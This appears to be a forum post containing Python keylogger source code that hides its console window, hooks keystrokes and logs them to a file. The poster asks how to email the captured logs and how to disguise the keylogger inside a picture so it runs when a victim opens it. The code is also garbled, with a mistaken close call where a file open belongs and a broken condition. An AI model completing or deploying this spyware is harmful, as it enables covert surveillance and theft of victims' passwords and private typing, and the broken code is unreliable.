- Code: Select all
import win32api
import win32console
import win32gui
import pythoncom, pyHook
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)
def OnKeyboardEvent(event):
if event.Ascii==5:
_exit(1)
if event.Ascii != 0 or 8:
f=open('c:\output.txt','r')
buffer=f.read()
f.close()
f.close('c:\output.txt','[mail][/mail]w')
keylogs=chr(event.Ascii)
if event.Ascii==13:
keylogs='/n'
buffer += keylogs
f.write(buffer)
f.close()
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
I watched the video here http://www.youtube.com/watch?v=5xy9w9-hzrs Can someone tell me how to make it send all the logs it gets to my email. Can i use the keylogger and combine it to a pic file and send it to someone. Once they open it, It will automatically start and give me logs.





